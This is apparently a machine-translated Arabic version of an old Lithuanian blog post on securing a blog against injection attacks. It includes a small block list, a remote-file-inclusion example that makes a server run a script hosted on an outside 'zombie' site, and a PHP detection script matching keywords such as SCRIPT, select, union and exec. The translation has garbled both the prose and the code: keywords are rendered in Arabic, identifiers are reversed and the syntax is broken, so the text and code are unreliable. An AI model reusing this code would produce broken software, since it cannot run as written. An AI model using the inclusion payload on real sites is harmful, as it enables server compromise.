فمن الضروري أن بلوق والأمن على شبكة الإنترنت
ربما كنت أعرف أن في كثير من الحالات، وصفحات الويب أو بلوق محاولة الإختراق، لخبط، تلويث العديد من التعليقات مجهولة المصدر لا معنى لها تلقائيا، وذلك باستخدام بعض النصوص. وبطبيعة الحال في كثير من الأحيان ينطبق على الوضع اليدوي لديك أي فكرة عما لعدد كبير مثير للإعجاب الحالات Abies، طريقة واحدة للدفاع هو في الحقيقة - فحص الطلبات، والمعلمات الملكية الفكرية الأخرى المرسلة إلى الفاجر، وأن منعها. مجرد استخدام الأساليب التي اقترحتها، وليس فقط للدفاع عن أنفسهم، ولكن أيضا لاكتشاف مدى وغالبا ما لكم كيف يهاجمون. أكثر ...
حماية المدونة
على الرغم من أن الدليل يوفر "دليل" طريقة لاستخدام وورد هو الحماية الخاصة التي تسمح لموقع أكثر أمنا ونظافة - TimesToCome المساعد الأمن . بعد تثبيت هذا البرنامج المساعد سوف إضافة معلمات سلامة. شخصيا، وأنا استخدم IP التالي المحظورة، وكيل المستخدم والاستفسارات - جزء من السبب، كما كنت القبض على العرض هنا (يمكنك أيضا استخدام السجلات الخاصة بك). وعلى الرغم من يمكنك أن ترى حتى في إنترنت إكسبلورر فايرفوكس، - ويسمى في كثير من الأحيان السير.
تحذير. Nepriisiimu أية مسؤولية عن توفيرها هنا منعت الملكية الفكرية، وكيل المستخدم، والاستعلامات، وترك كل زائر لتقرر ما إذا كان أي سجل غير مناسب.
| منعت الملكية الفكرية: (وهذا هو بروتوكول الإنترنت الخاص بك قائمة نفي :) | وكلاء العضو سدت (وهذا هو قائمة وكيل نفي) | منعت طلبات (وهذا هو طلبك القائمة السوداء) |
12.192.82.221 | AnotherBot | $ _GET |
ما هو الاستعلام وماذا يحتاجون لعرقلة؟ دعونا نقول لكم موقع ثغرة أو يفترض فقط في الأفق papuolėte هجوم (ولكن في كثير من الأحيان فقط من خلال مهاجمة الاستعلامات هجوم في صف واحد).
لنفترض أن sidebar.php الملفات غير الآمنة قضى الاستعلام sidebar.php المتغير متغير؟ VARIABLE = http://www.kompiuteriszombis.com/botas.txt، وسيتم تنفيذ خادم النصي botas.txt، ويمكن القول، في معظم الحالات، الخادم الخاص بك هو بالفعل اخترق.
موقع الأمن.
إذا كان لديك موقع على شبكة الانترنت، يمكنك استخدام هذا البرنامج النصي، تحتاج إلى حفظ الى index.php الخاص بك، وتغيير nemapirškite email@email.com في البريد الإلكتروني الخاص بك. البريد الإلكتروني
/ ******************************* ANTIHACK ستارت **************** ************** /
/ / التحقق حقن
ةداملا مسا = $ $ _SERVER ['REQUEST_URI']؛
$ كادينا = تنفجر ($، ةداملا مسا "؟")؛
$ = Mi_url كادينا [0]؛
$ = المطاعم كادينا [1]؛
/ / هنا يمكنك وضع الخاص بك الشكوك السلاسل في ارادتكم. فقط كن حذرا من
/ / الصدف لا اطلب URL مع المتغيرات والثوابت
$ Inyecc = '/ SCRIPT | HTTP | <|> |٪ 3C |٪ 3E | اختر | الاتحاد | تحديث | EXE | EXEC | إدخال | تمة / أنا'؛
/ / الكشف عن
إذا كان (preg_match ($ inyecc، رستو $) &&! $ _REQUEST ['FullURL']) {
/ / تقديم شيء، في سبيل المثال إرسال تنبيه بريد إلكتروني إلى المسؤول
/ / $ $ HTTP_SERVER_VARS IP = ["HTTP_CLIENT_IP"]؛
IP = $ $ _SERVER ['REMOTE_ADDR']؛
= توجيهها $ $ HTTP_SERVER_VARS ['HTTP_X_FORWARDED_FOR']؛
$ = Remoteaddress HTTP_SERVER_VARS ["REMOTE_ADDR"]؛
$ رسالة = هجوم حقن "في mi_url $ \ nchain \ ن: $ رستو \ ن \ ن
من: (IP-forwa-RA): - $ الملكية الفكرية - $ احال - $ remoteaddress \ ن \ ن
--- نهاية ------- "؛
البريد الإلكتروني ( email@email.com ، "هجوم حقن"، $ رسالة،
"من:" معلومات @ {$ _SERVER ['SERVER_NAME']} "،"-fwebmaster @ {$ _SERVER ['SERVER_NAME']} ")؛
# # # # Uzbaninam أيضا. هتكس
$ fopen = FH ('تاكيس.'، '1') أو يموت ("تعذر فتح الملف")؛
$ Towrite = "\ ن # $ remoteaddress - $ الراحة"؛
$ Towrite = "\ Ndeny من $ IP \ ن"؛
fwrite ($ FH، towrite $)؛
fclose ($ FH)؛
# # # #
/ / اقتل رسالة والتنفيذ
صدى 'للتسجيل غير قانوني "؛
يموت ()؛
}
/ ******************************* ANTIHACK END **************** ************** /
2008 12 20 10:12
ليتم إنشاء مثل هذا منذ وقت طويل mod_security أباتشي dalikams - أنا لست بحاجة إلى إعادة اختراع العجلة.
أما بالنسبة للpreg'o - لم يذكر في "بروتوكول نقل الملفات" بروتوكول "استعلام SQL حذف. درست أيضا ليس فقط الاستعلام، ولكن أسماء المتغيرات - حتى قبل استخدام هذا الرمز، يجب أن تنظر في كل الأمور المهمة أن استخدام
باجة، يمكن أن يتم حقن SQL والى اليسار من "؟" Eančia عنوان.
إذا كان رمز النظام هو اعوج - مجرد الحصول على طلب لن تكون حماية كافية، والحاجة لتصفية وظيفة والكوكيز.
سيكون أكثر من ذلك بكثير لطيفا لرؤية تعليق رمز ليتوانيا في كل مكان، وليس فقط في بعض الأماكن.
حسنا، وشهادات لملف htaccess - لا أسلم الاحتلال. بالطبع، كل شيء يعتمد على النظام المضيف.